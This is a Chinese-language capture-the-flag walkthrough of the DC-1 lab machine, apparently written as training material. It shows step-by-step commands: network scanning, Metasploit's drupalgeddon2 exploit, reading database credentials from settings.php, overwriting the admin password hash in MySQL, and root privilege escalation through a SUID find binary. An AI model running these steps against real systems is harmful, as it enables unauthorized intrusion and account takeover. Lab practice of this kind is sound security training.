先扫描本机ip
ip a
扫描网段存在的主机ip
sudo nmap -sn 192.168.203.0/24
可知靶机存在的ip为192.168.203.143
进行端口扫描
sudo nmap -sT --min-rate 10000 -p- 192.168.203.143
开放的端口有,22,80,111,39481 。
扫描一下各个端口的服务
sudo nmap -sT -sV -sC -O -p22,80,111,39481 192.168.203.143
可以看到:
22端口是ssh服务,优先度靠后;
80端口是阿帕奇服务,且端口开放,可以进去访问试试;
111端口是一个rpcbind 2-4服务,这个服务存在一个漏洞,该漏洞可使攻击者在远程rpcbind绑定主机上分配任意大小的内存(每次攻击最高可达4GB),除非进程崩溃,或者管理员挂起/重启rpcbind服务,否则该内存不会被释放;
39481端口是status 1服务。
我们先访问一下80端口。
存在一个页面,有一个客户登录系统。
典型的drupal,我们打开kali的Metasploit进行渗透。
Metasploit Framework(MSF)是一款开源安全漏洞检测工具,附带数千个已知的软件漏洞,并保持持续更新。Metasploit可以用来信息收集、漏洞探测、漏洞利用等渗透测试的全流程,被安全社区冠以“可以黑掉整个宇宙”之名。
寻找关于 drupal 的模块
search drupal
我们拿2018的开刀
use exploit/unix/webapp/drupal_drupalgeddon2
set RHOSTS 192.168.203.143
run
看到的是一个www-data的用户
shell
id
whoami
我们查看一下有什么文件
ls
看到有一个flag1.txt的文件,打开
cat flag1.txt
每个好的CMS都需要一个配置文件——你也是。
我们找找有没有配置文件
find . -name "set*"
有的,我们打开看看
cat ./sites/default/settings.php
我们发现了flag2,还有一个数据库名和账户密码
也有相关的提示
*暴力和字典攻击不是最常见的
*只有获得访问权限的方法(您将需要访问权限)。
*你能用这些证书做什么?
暴力破解的话想到前面80的登录框 意思应该是没办法暴力破解登录
后面的意思应该是后续需要我们提权操作。
我们使用反弹shell
shell
python -c "import pty;pty.spawn('/bin/bash')"
我们尝试登录一下数据库
mysql -udbuser -pR0ck3t
查看数据库
show databases;
进入drupaldb库中
use drupaldb
查看数据库中的表数据
show tables;
看到有个users的表,我们打开看看。
select * from users\G;
*\G的作用是将查到的结构旋转90度变成纵向
可以看到admin是加密的。这下我们有两种方法:
一个是修改admin的密码,一个是增加一个admin权限的用户。
我们使用第一种方法
使用Drupal对数据库的加密方法,生成一个新密码,然后把新的密码更新到admin用户
php scripts/password-hash.sh 123456
得到密码的hash值:
$S$Dk4aEV/nZngc2X3X35iAjvr2kZXOnHsw1RCCGv.oJNvIF78cCx8/
进入mysql,重新回到数据库drupaldb内,设置新密码
update users set pass='$S$Dk4aEV/nZngc2X3X35iAjvr2kZXOnHsw1RCCGv.oJNvIF78cCx8/'where name="admin";
更新完成后,我们去访问网站。输入账号密码。
找到flag3.txt
得到flag3;
并且获得提示:Special PERMS will help FIND the passwd - but you’ll need to -exec that command to work out how to get what’s in the shadow.
特殊的 PERMS 将帮助找到 passwd - 但您需要 -exec 该命令来弄清楚如何获取隐藏中的东西。
提示我们去看看passwd,我们去看看。
cat /etc/passwd
发现底部有个flag4,还给了对应的路径。我们切换到flag4里面看看有什么文件。
cd /home/flag4
ls
找到flag4.txt文件,我们打开
cat flag4.txt
是否可以使用相同的方法在根中查找或访问标志?可能。但也许没那么容易。或者可能是?
需要提权
首先试试SUID提权
SUID是Linux的一种权限机制,具有这种权限的文件会在其执行时,使调用者暂时获得该文件拥有者的权限。
查看默认以root权限执行的程序
find / -perm -u=s -type f 2>/dev/null
find 指令
/ 根目录(查找位置)
-perm 权限
-u 用户(s=特权)
-type 类型
f 文件
2>/dev/nul 过滤错误信息(不显示错误信息)
看到find了,可以直接使用find提权。
find / -exec "/bin/bash" -p \;
这时候我们再来查看flag4.txt
cat flag4.txt
您可以使用相同的方法来查找或访问 root 中的标志吗?
可能。但也许这并不容易。或者也许是?
我们尝试进入/root,查看目录下的文件
cd /root
ls
看到有一个thefinalflag.txt 最后的flag
直接cat打开查看
cat thefinalflag.txt
)
干的好!!!!
希望您喜欢这个并学到了一些新技能。
你可以让我知道你对这个小旅程的看法
通过推特与我联系 - @DCAU7
我们输入whoami查看